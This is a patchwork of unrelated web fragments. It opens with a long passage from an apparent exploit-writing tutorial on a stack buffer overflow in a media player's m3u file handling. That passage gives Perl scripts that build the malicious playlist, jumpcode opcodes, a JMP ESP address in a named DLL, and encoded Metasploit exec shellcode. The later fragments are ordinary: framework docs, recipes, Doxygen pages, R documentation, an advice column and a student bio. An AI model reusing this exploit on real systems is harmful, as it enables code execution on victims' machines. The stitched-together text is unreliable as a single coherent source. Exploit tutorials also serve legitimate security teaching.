 Let’s pretend this is the only space available for shellcode (we think). However, when we look further down the stack, we can find back A’s starting from address 000ff849 (=ESP+281).
When we look at other registers, there’s no trace of X’s or A’s. (You can just dump the registers, or look for a number of A’s in memory.
So this is it. We can jump to ESP to execute some code, but we only have 50 bytes to spend on shellcode. We also see other parts of our buffer at a lower position in the stack… in fact, when we continue to dump the contents of ESP, we have a huge buffer filled with A’s…
Luckily there is a way to host the shellcode in the A’s and use the X’s to jump to the A’s. In order to make this happen, we need a couple of things
- The position inside the buffer with 26094 A’s that is now part of ESP, at 000ff849 (“Where do the A’s shown in ESP really start ?) (so if we want to put our shellcode inside the A’s, we need to know where exactly it needs to be put)
- “Jumpcode” : code that will make the jump from the X’s to the A’s. This code cannot be larger than 50 bytes (because that’s all we have available directly at ESP)
We can find the exact position by using guesswork, by using custom patterns, or by using one of metasploits patterns.
We’ll use one of metasploit’s patterns… we’ll start with a small one (so if we are looking at the start of the A’s, then we would not have to work with large amount of character patterns :-) )
Generate a pattern of let’s say 1000 characters, and replace the first 1000 characters in the perl script with the pattern (and then add 25101 A’s)
my $file= "test1.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa....g8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25101;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available at ESP
my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data in the ESP dump
open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
 The first 4 characters are 5Ai6
Using metasploit pattern_offset utility, we see that these 4 characters are at offset 257. So instead of putting 26094 A’s in the file, we’ll put 257 A’s, then our shellcode, and fill up the rest of the 26094 characters with A’s again. Or even better, we’ll start with only 250 A’s, then 50 NOP’s, then our shellcode, and then fill up the rest with A’s. That way, we don’t have to be very specific when jumping… If we can land in the NOP’s before the shellcode, it will work just fine.
Let’s see how the script and stack look like when we set this up :
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available
my $nop2 = "\x90" x 230; #added some nops to visually separate our 54 X's from other data
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE);
print "m3u File Created successfully\n";
When the application dies, we can see our 50 NOPs starting at 000ff848, followed by the shellcode (0x90 at 000ff874), and then again followed by the A’s. Ok, that looks fine.
(188.c98): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
 The goal of the jumpcode is to jump to ESP+281
Writing jump code is as easy as writing down the required statements in assembly and then translating them to opcode (making sure that we don’t have any null bytes or other restricted characters at the same time) :-)
Jumping to ESP+281 would require : Add 281 to the ESP register, and then perform jump esp. 281 = 119h. Don’t try to add everything in one shot, or you may end up with opcode that contains null bytes.
Since we have some flexibility (due to the NOP’s before our shellcode), we don’t have to be very precise either. As long as we add 281 (or more), it will work. We have 50 bytes for our jumpcode, but that should not be a problem.
Let’s add 0x5e (94) to esp, 3 times. Then do the jump to esp. The assembly commands are :
- add
esp,0x5e
- add esp,0x5e
- add esp,0x5e
jmp es
p
Using windbg, we can get the opcode :
0:014> a
7c901211 add esp,0x5e
add esp,0x5e
7c901214 add esp,0x5e
add esp,0x5e
7c901217 add esp,0x5e
add esp,0x5e
7c90121a jmp esp
jmp esp
7c90121c
0:014> u 7c901211
ntdll!DbgBreakPoint+0x3:
7c901211 83c45e add esp,5Eh
7c901214 83c45e add esp,5Eh
7c901217 83c45e add esp,5Eh
7c90121a ffe4 jmp esp
Ok, so the opcode for the entire jumpcode is 0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #position 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
The jumpcode is perfectly placed at ESP. When the shellcode is called, ESP would point into the NOPs (between 00ff842 and 000ff873). Shellcode starts at 000ff874
(45c.f60): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
 From part 1 of the tutorial, we know that this can be achieved via address 0x01ccf23a
What will happen when the overflow occurs ?
- Real shellcode will be placed in the first part of the string that is sent, and will end up at ESP+300. The real shellcode is prepended with NOP’s to allow the jump to be off a little bit
- EIP will be overwritten with 0x01ccf23a (points to a dll, run “JMP ESP”)
- The data after overwriting EIP will be overwritten with jump code that adds 282 to ESP and then jumps to that address.
- After the payload is sent, EIP will jump to esp. This will triggger the jump code to jump to ESP+282. Nop sled, and shellcode gets executed.
Let’s try with a break as real shellcode :
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #position 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
The generated m3u file will bring us right at our shellcode (which is a break). (EIP = 0x000ff874 = begin of shellcode )
(d5c.c64): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=000ff874 esp=000ff84a ebp=003440c0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff863:
000ff874 cc int 3
0:000> d esp
000ff84a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff85a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff86a 90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41 ...........AAAAA
000ff87a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff88a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff89a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8aa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8ba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Replace the break with some real shellcode (and replace the A’s with NOPs)… (shellcode : excluded characters 0x00, 0xff, 0xac, 0xca)
When you replace the A’s with NOPs, you’ll have more space to jump into, so we can live with jumpcode that only jumps 188 positions further (2 times 5e)
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "\x90" x 200;
my $nop = "\x90" x 50;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" .
"\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" .
"\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" .
"\x51\x42\x4c\x45\x33\x45\x50\x41\x41";
my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
pwned again :-)


Upload 1 or more images.
Click & drag to position images; mouse wheel to scale.
Send backward
Bring forward
Selected files:
0
; Total size:
0
Scale
50


Simple demonstration of creating a geophylogeny in a web map using GeoJSON. In this example you can create a geophylogeny from a DNA barcode.
Enter a BOLD barcode process id (e.g., ABFG379-10). Please be patient as fetching barcodes can take a little while.


SimpleAuth - Introduction
SimpleAuth is an Auth package that is included with the framework. Besides being a working Auth implementation, it is also an example for other Auth drivers. You can use this as a reference when building your own driver.
Configuration
SimpleAuth relies on one table. Here is the SQL to create it:
CREATE TABLE `users` (
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`username` VARCHAR( 50 ) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL ,
`password` VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL ,
`group` INT NOT NULL DEFAULT 1 ,
`email` VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL ,
`last_login` VARCHAR( 25 ) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL ,
`login_hash` VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL ,
`profile_fields` TEXT CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL ,
`created_at` INT( 11 ) UNSIGNED NOT NULL ,
UNIQUE (
`username` ,
`email`
)
)
This is a sample login action
public function action_login()
{
$data = array();
if ($_POST)
{
// Ok, you pressed the submit button. let's go over
// first of all, let's get a auth object
$auth = Auth::instance();
// check the credentials. This assumes that you have the previous table created
if ($auth->login($_POST['username'],$_POST['password']))
{
// credentials ok, go right in
Response::redirect('success_page');
}
else
{
// Oops, no soup for you. try to login again.
// Set some values to repopulate the username field and give some error text back to the view
$data['username'] = $_POST['username'];
$data['login_error'] = 'Wrong username/password combo. Try again';
}
}
// Show the login form
echo View::forge('owl/login',$data);
}


{% extends "base.html" %} {% block content %} {# Hello World, at {{ now }}, {{ now|time_ago }}#}
Find out how simple it can be to find your match.


{% extends "think/simple-base.html" %} {% block content %}
Think is a free Mind-mapping tool.
Think can be used to create, change and view mind maps. Mind maps are very useful for visualising and structuring ideas, brain storming, studying and much more.
If you are new to Think, you should try Think out now by opening the tutorial.


The ggf-input class has a bottom border by default. If you want a borderless input, add the ggf-border-0 class.
First Name


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 4
For the salad, heat a pan of water until boiling, then place a steamer on top. Place the leeks and spring onions into the steamer, cover with a lid and steam for 2-3 minutes, until just tender.
Meanwhile, heat a griddle pan until hot and griddle the halloumi for one minute on each side, or until charred. Remove from the griddle and set aside. Griddle the leeks and spring onions until charred on all sides, then set aside.
Place the capers and sun-dried tomatoes into a bowl, add the olive oil, vinegar and lemon juice and mix well.
Cut the charred vegetables and cheese into chunks and place into a large bowl. Add the lettuce and rocket, pour over the dressing and stir to coat.
For the chicken, fill a large saucepan with water and add the onion, carrot, thyme and parsley. Bring to a simmer, then add the chicken. Bring back to a simmer and poach for 6-8 minutes, or longer for larger chicken breasts. Remove from the water and pat dry with kitchen paper.
Place a piece of foil in the bottom of a wok, top with the uncooked rice, tea and sugar and cover with a lid. Place on the heat for 3-4 minutes, until the tea starts to smoke. (NB: Tea-smoking generates a lot of smoke. Be sure that you open the windows and get as much ventilation as you can.)
Place the poached chicken onto an oiled piece of foil in a steamer, then set the steamer inside the wok. Place a lid on the steamer and heat for 2-3 minutes, or until the chicken is lightly smoked and completely cooked through.
To serve, divide the salad among four serving plates. Cut the chicken into slices and place on top of the salad on each plate.


Desired bread size: 500grams
Prepare your starter
| Motherdough | |
| Water | |
| Flour |
Once proofed, you will use all this starter
() in the next step.
Knead your bread
| Starter | |
| Water | |
| Flour | |
| Salt* | |
| Sugar (optional) | |
| Oil (optional)* |
* If you use oil, add it halfway through the kneading. Salt must be added at the end.


India's Coolest Marketplace
Home
Sign Up
Back
Username:
Please enter your username
Password:
Please enter your password
Login


Carlo Santos
CIS155 19056 - Web Development I
- 1-21-2021: Created html and css files and pushed to github
- 1-22-2021: Created navigation bar, chose color pallete, began creating css styles for nav and background colors.
Carlo Santos
CIS155 19056 - Web Development I


Level: 1~5
Availability:
*Low = No seats, High = a lot of space
| Room name | Level | Room size (pax) | Date | Time |
|---|---|---|---|---|
| Diamond | 5 | 4 | 01 may 2019 | 0800 to 1000 |
| Ruby | 5 | 4 | 01 june 2019 | 0800 to 1000 |
| Room name | Level | Room size (pax) | Date | Time |
|---|---|---|---|---|
| Diamond | 5 | 4 | 01 june 2019 | 0800 to 1000 |
| Book title | Borrowed date | Return date |
|---|---|---|
| Basic python | 29/06/2019 | 06/08/2019 |


Dystopian worlds can create intresting scenarios for your players. Like, what do you do when you must make choices for yourself, instead of others?
Great way to introduce the players to your ruined world.
Make the players feel like they are stepping onto an alien world.
 Just don't make it always feel like that. It is only a game after all.
This is where the worlds of Dystopias thrive. There are new and horrific scenarios for you to use against your players.


XMP Toolkit error, associates an error code with a descriptive error string. More...
#include <XMP_Const.h>
Public Member Functions | |
| XMP_Error (XMP_Int32 _id, XMP_StringPtr _errMsg) | |
| Constructor for an XMP_Error. | |
| XMP_Int32 | GetID () const |
| Retrieves the numeric code from an XMP_Error. | |
| XMP_StringPtr | GetErrMsg () const |
| Retrieves the descriptive string from an XMP_Error. | |
Private Attributes | |
| XMP_Int32 | id |
Exception code. See constants kXMPErr_Unknown and following. | |
| XMP_StringPtr | errMsg |
XMP Toolkit error, associates an error code with a descriptive error string.
| XMP_Error::XMP_Error | ( | XMP_Int32 | _id, | |
| XMP_StringPtr | _errMsg | |||
| ) | [inline] |
Constructor for an XMP_Error.
| _id | The numeric code. | |
| _errMsg | The descriptive string, for debugging use only. It must not be shown to users in a final product. It is written for developers, not users, and never localized. |
XMP_StringPtr XMP_Error::errMsg [private] |
Descriptive string, for debugging use only. It must not be shown to users in a final product. It is written for developers, not users, and never localized.


1
DESIGN
Your personal design consultant meets with you to discuss style, preferences and space.
Custom floral arrangements tailored to your
style and space. Starting at $25 per delivery.
Schedule a complimentary design consultation today.
Your personal design consultant meets with you to discuss style, preferences and space.
We provide a custom proposal for floral service based on your schedule (weekly, bi-weekly or monthly).
We hand deliver your custom arrangements for you to enjoy. It's that simple.


Main class of the program. In this class the mqtt broker will created.
More...
|
| static void | DecodeSensorData (string EncodedData, string macAddress, DateTime time) |
| | With this function the raw data will be decoded. After that the data will be passed to another function which sends the data to the databases. More...
|
| |
|
| static void | Main (string[] args) |
| | This function is the start of the program. It will create connections to the database. After that it will connect to the mqtt broker of The Things Network. Once connected it will subscribe to an event. More...
|
| |
| static void | Client_MqttMsgPublishReceived (object sender, MqttMsgPublishEventArgs e) |
| | This function is called when a message is recieved on the mqtt broker. It wil than pass important data to function that will decode it to readable data. Data that will be send: payload_raw, hardware_serial(device_eui) and the time of receiving. More...
|
| |
| static async Task< uint > | getDeviceId (string macAddress) |
| | With this function the device-id wil be returned that is connected to the given mac address. More...
|
| |
| static void | Client_MqttMsgSubscribed (object sender, MqttMsgSubscribedEventArgs e) |
| | This function will simple print the message from the mqtt broker once there is a message. More...
|
| |
| static void | Client_ConnectionClosed (object sender, EventArgs e) |
| | When the connection to the broker closed this function will print a message. More...
|
| |
Main class of the program. In this class the mqtt broker will created.
◆ Client_ConnectionClosed()
| static void MQTTbrokerTTNtoDB.Program.Client_ConnectionClosed |
( |
object |
sender, |
|
|
EventArgs |
e |
|
) |
| |
|
staticprivate |
When the connection to the broker closed this function will print a message.
- Parameters
-
◆ Client_MqttMsgPublishReceived()
| static void MQTTbrokerTTNtoDB.Program.Client_MqttMsgPublishReceived |
( |
object |
sender, |
|
|
MqttMsgPublishEventArgs |
e |
|
) |
| |
|
staticprivate |
This function is called when a message is recieved on the mqtt broker. It wil than pass important data to function that will decode it to readable data. Data that will be send: payload_raw, hardware_serial(device_eui) and the time of receiving.
- Parameters
-
| sender | The sender object. |
| e | The object that includes the message. |
◆ Client_MqttMsgSubscribed()
| static void MQTTbrokerTTNtoDB.Program.Client_MqttMsgSubscribed |
( |
object |
sender, |
|
|
MqttMsgSubscribedEventArgs |
e |
|
) |
| |
|
staticprivate |
This function will simple print the message from the mqtt broker once there is a message.
◆ DecodeSensorData()
| static void MQTTbrokerTTNtoDB.Program.DecodeSensorData |
( |
string |
EncodedData, |
|
|
string |
macAddress, |
|
|
DateTime |
time |
|
) |
| |
|
static |
With this function the raw data will be decoded. After that the data will be passed to another function which sends the data to the databases.
- Parameters
-
| EncodedData | The raw payload. |
| macAddress | Mac address of the device. |
| time | Time data has been send. |
◆ getDeviceId()
| static async Task<uint> MQTTbrokerTTNtoDB.Program.getDeviceId |
( |
string |
macAddress | ) |
|
|
staticprivate |
With this function the device-id wil be returned that is connected to the given mac address.
- Parameters
-
| macAddress | Mac address of the device. |
- Returns
- id of the device within the database.
◆ Main()
| static void MQTTbrokerTTNtoDB.Program.Main |
( |
string [] |
args | ) |
|
|
staticprivate |
This function is the start of the program. It will create connections to the database. After that it will connect to the mqtt broker of The Things Network. Once connected it will subscribe to an event.
Every time data is uploaded to The Things Network, to this application-id, that data is send to de databases.
◆ connection
| MySqlConnection MQTTbrokerTTNtoDB.Program.connection |
|
staticprivate |
Variable that manage MySql database.
◆ manageDB
| ManageDB MQTTbrokerTTNtoDB.Program.manageDB |
|
staticprivate |
Variable that manage the Influx database.
The documentation for this class was generated from the following file:
- C:/Users/dorth/Documents/Visual Studio 2017/Projects/MQTTbrokerTTNtoDB/MQTTbrokerTTNtoDB/Program.cs


Index scores range from 0 to 1, which depicts the percentiles of a particular county or tract relative to the rest of the USA. The higher the percentile ranking, the more vulnerable an area is in that category. A red flag indicates that an area is highly vulnerable, or in the top 90th percentile of a particular vulnerability.
Total Flags
County/Tract
Population:
Catholic Diocese:
Hazard Risk
Hazard Risk is shown on a scale of 0-60. Data page contains more information about the factors considered for each.
Hurricane
Flood
Earthquake
Wildfire
Tornado
Hail


garch_reg.Rd
General Interface for GARCH Models
garch_reg( mode = "regression", arch_order = NULL, garch_order = NULL, ar_order = NULL, ma_order = NULL, tune_by = NULL )
| mode | A single character string for the type of model. |
|---|---|
| arch_order | An integer giving the order of the ARCH part for the variance model. |
| garch_order | An integer giving the order of the GARCH part for the variance model. |
| ar_order | An integer giving the order of the AR part for the mean model. |
| ma_order | An integer giving the order of the MA part for the mean model. |
| tune_by | Default is set to NULL, when no tuning. If you want to tune, you must choose between "seriesFor" or "sigmaFor" options. This will cause the function to not return a nested tibble and be able to tune. These arguments are converted to their specific names at the time that the model is fit. Other options and argument can be
set using |
A model specification
Available engines:
rugarch: Connects to rugarch::ugarchspec()
first and then to rugarch::ugarchfit()
.
rugarch (default)
The engine uses rugarch::ugarchspec()
and rugarch::ugarchfit()
.
Function Parameters:
## Formal class 'standardGeneric' [package "methods"] with 8 slots ## ..@ .Data :function (variance.model = list(model = "sGARCH", garchOrder = c(1, 1), submodel = NULL, external.regressors = NULL, ## variance.targeting = FALSE), mean.model = list(armaOrder = c(1, 1), include.mean = TRUE, archm = FALSE, archpow = 1, ## arfima = FALSE, external.regressors = NULL, archex = FALSE), distribution.model = "norm", start.pars = list(), ## fixed.pars = list(), ...) ## ..@ generic : chr "ugarchspec" ## .. ..- attr(*, "package")= chr "rugarch" ## ..@ package : chr "rugarch" ## ..@ group : list() ## ..@ valueClass: chr(0) ## ..@ signature : chr [1:5] "variance.model" "mean.model" "distribution.model" "start.pars" ... ## ..@ default :Formal class 'derivedDefaultMethod' [package "methods"] with 4 slots ## .. .. ..@ .Data :function (variance.model = list(model = "sGARCH", garchOrder = c(1, 1), submodel = NULL, external.regressors = NULL, ## variance.targeting = FALSE), mean.model = list(armaOrder = c(1, 1), include.mean = TRUE, archm = FALSE, archpow = 1, ## arfima = FALSE, external.regressors = NULL, archex = FALSE), distribution.model = "norm", start.pars = list(), ## fixed.pars = list(), ...) ## .. .. ..@ target :Formal class 'signature' [package "methods"] with 3 slots ## .. .. .. .. ..@ .
The Garch order for the variance model is provided using arch_order
and garch_order
parameters..
The ARMA order for the mean model is provided using ar_order
and ma_order
parameters.
Other options and arguments can be set using set_engine()
.
#' Parameter Notes:
xreg
- This engine supports xregs for both the variance model and the mean model. You can do this in two ways,
either enter the matrices through set_engine parameters or as a formula in fit (note that the latter option is more limited,
since you will not be able to pass two different xregs, one for each model). For simpler cases this is a compact option.
order parameters
- The parameters of rugarch::ugarchspec are lists containing several elements,
some of them the commands that are the main arguments of the function. If you want to modify the parameter
that encompasses such a list, you must know that the parameter passed in the function parameter will always prevail.
(See Examples).
Date and Date-Time Variable
It's a requirement to have a date or date-time variable as a predictor.
The fit()
interface accepts date and date-time features and handles them internally.
fit(y ~ date)
Univariate (No xregs, Exogenous Regressors):
For univariate analysis, you must include a date or date-time feature. Simply use:
Formula Interface: fit(y ~ date)
will ignore xreg's.
Multivariate (xregs, Exogenous Regressors)
The xreg
parameter is populated using the fit()
function:
Only factor
, ordered factor
, and numeric
data will be used as xregs.
Date and Date-time variables are not used as xregs
character
data should be converted to factor.
Xreg Example: Suppose you have 3 features:
y
(target)
date
(time stamp),
month.lbl
(labeled month as a ordered factor).
The month.lbl
is an exogenous regressor that can be passed to the garch_reg()
using
fit()
:
fit(y ~ date + month.lbl)
will pass month.lbl
on as an exogenous regressor.
Note that date or date-time class values are excluded from xreg
.
fit.model_spec()
, set_engine()
# \donttest{ library(tidymodels) library(garchmodels) library(modeltime) library(tidyverse) library(timetk) library(lubridate) rIBM_extended <- rIBM %>% future_frame(.length_out = 24, .bind_data = TRUE)#>rIBM_train <- rIBM_extended %>% drop_na() rIBM_future <- rIBM_extended %>% filter(is.na(daily_returns)) model_garch_fit <-garchmodels::garch_reg(mode = "regression", arch_order = 1, garch_order = 1) %>% set_engine("rugarch") %>% fit(daily_returns ~ date, data = rIBM_train)#>#> # A tibble: 2 x 2 #> .name .pred #> <chr> <named list> #> 1 sigmaFor <dbl[,1] [24 x 1]> #> 2 seriesFor <dbl[,1] [24 x 1]>model_garch_fit <-garchmodels::garch_reg(mode = "regression", arch_order = 2, garch_order = 2) %>% set_engine("rugarch", variance.model = list(model='gjrGARCH', garchOrder=c(1,1)), mean.model = list(armaOrder=c(0,0))) %>% fit(daily_returns ~ date, data = rIBM_train)#>#> # A tibble: 2 x 2 #> .name .pred #> <chr> <named list> #> 1 sigmaFor <dbl[,1] [24 x 1]> #> 2 seriesFor <dbl[,1] [24 x 1]># }


Become a member of the Fox Theater and see up to 4 movies a month for one low price!
Members are also able to reserve seating instead of first-come, first-serve.
Members are the first to be informed of our special shows and can reserve seating for these special events.
All this plus discounted merchandise and concessions makes the membership price of $250 annually an exclusive bargain!
5 year members also get a $50 discount on the annual price!
Sign up for membership below.


Return to website
Login to CMS
Enter your credentials below
username
password
I've
forgotten my password
.
LOG IN
Just click on the "LOG IN" button to continue, no login information required.


Learn to Code JavaScript Example
Let's sort some items using jQueryUI!
Apples
Oranges
Bananas
Strawberries
Cherries
Watermelons
Grapefruit
Let's pick some dates!
Print Dates!


This demo illustrates the alignment option I added to Spinner to
provide four layout configurations for the spin controls. The left
alignment is shown on the
planning
wiki and enables adding other controls to the right side of the widget
like a drop menu. The vertical and horizontal options add additional
flexibility based on how you might want to use the widget. I created
three of each in different font sizes to ensure the widget scales
properly with the input field. I have this changed in
my fork of the project under the spinner-layout branch if you're
interested in using it.


Epicodus Movie Theater
Find out your movie ticket price!
Currently Showing
Finding Dory
The Angry Birds Movie
Raiders of the Lost Ark
Jurassic Park
Matinee or Evening?
Matinee
Evening
Are you 55 or older?
No
Yes
Submit
Your ticket price is
!
We hope you enjoy your movie!


I don’t approve of my daughter’s girlfriend. Should I ban her from my house?
by Guardian StaffShe’s manipulative, flouts my house rules and has my daughter at her beck and call. Should I tell my daughter how I feel and risk damaging our relationship?
My 19-year-old daughter recently started her first serious relationship. She and her girlfriend are very intense and are together as much as possible. Initially, I liked her, but I’ve since seen another side to her. She’s manipulative, flouts my house rules, claims to have health issues and has my daughter running around after her. My daughter is very protective of her, blind to her behaviour and argues with me if I raise the broken house rules. I don’t want her girlfriend in my house but I’m worried that if I tell my daughter how I feel, and how dysfunctional her relationship is, I’ll alienate her.
• When leaving a message on this page, please be sensitive to the fact that you are responding to a real person in the grip of a real-life dilemma, who wrote to Private Lives asking for help, and may well view your comments here. Please consider especially how your words or the tone of your message could be perceived by someone in this situation, and be aware that comments that appear to be disruptive or disrespectful to the individual concerned will be removed.
• Comments on this piece are premoderated to ensure discussion remains on topics raised by the writer. Please be aware there may be a short delay in comments appearing on the site.
• If you would like fellow readers to respond to a dilemma of yours, send us an outline of the situation of about 150 words. For advice from Pamela Stephenson Connolly on sexual matters, send us a brief description of your concerns.
• All correspondence should reach us by Wednesday morning. Email<EMAIL_ADDRESS>(please don’t send attachments). Submissions are subject to our terms and conditions: see gu.com/letters-terms.


Hey there 👋🏻!
Growing up in Indonesia, I had always aspired to become a software engineer. I started learning Visual Basic when I was in middle school, developing custom text editors and web browsers. Later on, I jumped into developing student registration systems for my high school. I eventually moved to the United States in 2017, attended Austin Community College for a while, and transferred to UW-Madison where I will be graduating in May 2021.
Currently, I am working on AI/ML research for the NASA Earth-Venture Instrument PREFIRE mission; developing models to accurately predict cloud cover. I am also working on a full-stack application to automate NMR data processing. Since giving back is an important part of what I do, I am currently involved in Google's Developer Student Clubs at UW-Madison where I design marketing materials and host web development workshop tutorials.
My current goal is to jump into the industry to gain more experience that would help hone my skills in software engineering and communication. With these skills, I would like to eventually found and lead a non-profit organization that focuses on helping children from developing nations to jump into technology. That is why I am very humbled to announce that I will be joining Bloomberg LP as a software engineer post-graduation. Bloomberg LP has a long history of giving back to the community as it encourages its employees to do volunteer work and donates most of their revenue to philanthropy. Their culture fits with my personal goals and that is why I am excited to be starting this journey with them.


Saving Lives
A Safe and Quiet City
